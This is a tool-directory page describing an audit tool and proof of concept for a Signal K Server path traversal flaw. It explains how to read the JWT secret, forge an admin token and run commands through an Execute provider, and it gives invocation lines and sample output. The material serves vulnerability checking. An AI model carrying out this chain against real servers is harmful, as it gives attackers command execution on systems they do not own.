Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
signalk-audit — Signal K Server resources API path traversal audit (CVE-2026-123807): read JWT secret, forge admin token, verify RCE | Kitploit
Tools/GitHubGitHub/qianlijaingshan/signalk-audit
Privilege EscalationWeb Vulnerability ScannersContainer SecurityVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration TestingAuthentication
GitHubqianlijaingshan/signalk-audit

signalk-audit

6 days agoNot yet reviewed
Share

Signal K Server resources API path traversal audit (CVE-2026-123807): read JWT secret, forge admin token, verify RCE

View Repository

signalk-audit

Audit tool and PoC for path traversal in the Signal K Server resource interface.

GET /signalk/v2/api/resources/:resourceType/:resourceId splices resourceId verbatim into the file path; four levels of ..%2F are enough to climb from the resources directory back to the config root and read <config>/security.json. This file contains the JWT signing key; once obtained, you can sign an admin token, then create an Execute-type provider, and commands run as node inside the container.

  • Advisory: GHSA-4xm8-rg9h-jhq2 / CVE-2026-123807, CVSS 9.8
  • Affected: signalk-server >= 2.0.0 (fixed in 2.34.0), @signalk/resources-provider 1.0.0 - 1.5.2 (fixed in 1.5.3)
  • Prerequisite: exploitable anonymously when allow_readonly=true; under the default configuration, a token for any read-only account is required

Files

FilePurpose
signalk-audit.pyAudit tool. Enumerates five resource types × six levels of depth, judging by whether secretKey appears in the response
sk_poc.pyPoC. Read key → sign admin token → create Execute provider → execute command
sk-history.shCompares the build layers of the official image to confirm whether the chmod u+s layer is a reused old layer

Usage

python3 signalk-audit.py -u http://127.0.0.1:3000
python3 signalk-audit.py -u http://127.0.0.1:3000 --token <read-only JWT>
python3 signalk-audit.py -u http://127.0.0.1:3000 --token <read-only JWT> --exploit --cmd "id"

python3 sk_poc.py                                       # instance with allow_readonly=true, anonymous key read
SK_USER=<read-only account> SK_PASS=<password> python3 sk_poc.py <URL>   # default config, log in first then read

--exploit proceeds to the two steps of forging a token and creating a provider; it is disabled by default. The traversal step of sk_poc.py is blocked by 401 under the default config; provide a set of read-only credentials (or directly provide SK_TOKEN) to proceed.

Example output (v2.33.0, with a read-only account token):

[*] Target http://127.0.0.1:13000  version 2.33.0 (HTTP 200)
[*] loginStatus: HTTP 200  authenticationRequired=True  readOnlyAccess=False  userLevel=readonly
[+] notes     depth 4 hit, secretKey length 512
[+] routes    depth 4 hit, secretKey length 512
[+] waypoints depth 4 hit, secretKey length 512
[+] regions   depth 4 hit, secretKey length 512
[+] charts    depth 4 hit, secretKey length 512

Fixed version (v2.37.0, anonymous):

[*] Target http://127.0.0.1:13001  version 2.37.0 (HTTP 200)
[*] loginStatus: HTTP 200  authenticationRequired=True  readOnlyAccess=True  userLevel=None
[ok] None of the five resource types escaped the directory at 6 levels of depth. Version 2.37.0 is very likely fixed.

Exit codes: 0 vulnerable, 1 fixed or undeterminable because blocked by authentication (the output states which), 2 invalid arguments.

Judging criteria

Check whether the response contains a secretKey field; do not rely on the status code.

Status codes vary due to authentication, routing, and whether a provider is registered: 200 may just be an empty object, 401 may just mean no credentials were supplied, and 404 may mean this resource type has no provider at all. Looking only at 200 would misjudge the 404 for widgets as safe.

Boundaries

By default only GET requests are sent; no files are written, no files are deleted, and no password brute-forcing is performed. --exploit must be given explicitly.

The PoC run inside the container yields uid=1000(node). In the image, node is in the docker group, but /var/run/docker.sock is not mounted, so host root cannot be obtained.

Related

Another independent issue: the official image sets /usr/bin/date to setuid root, so any plugin can read files inside the container that only root can read, and under a privileged + -v /dev:/dev deployment it can even read host block devices. The advisory says 2.37.0 fixed it, but the released image reused the old base layer; docker history shows that the chmod u+s layer has the same timestamp as in 2.36.0. sk-history.sh is for checking this.

Disclaimer

For use only on environments you set up yourself and on authorized tests. The author is not responsible for any consequences caused by using this tool.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →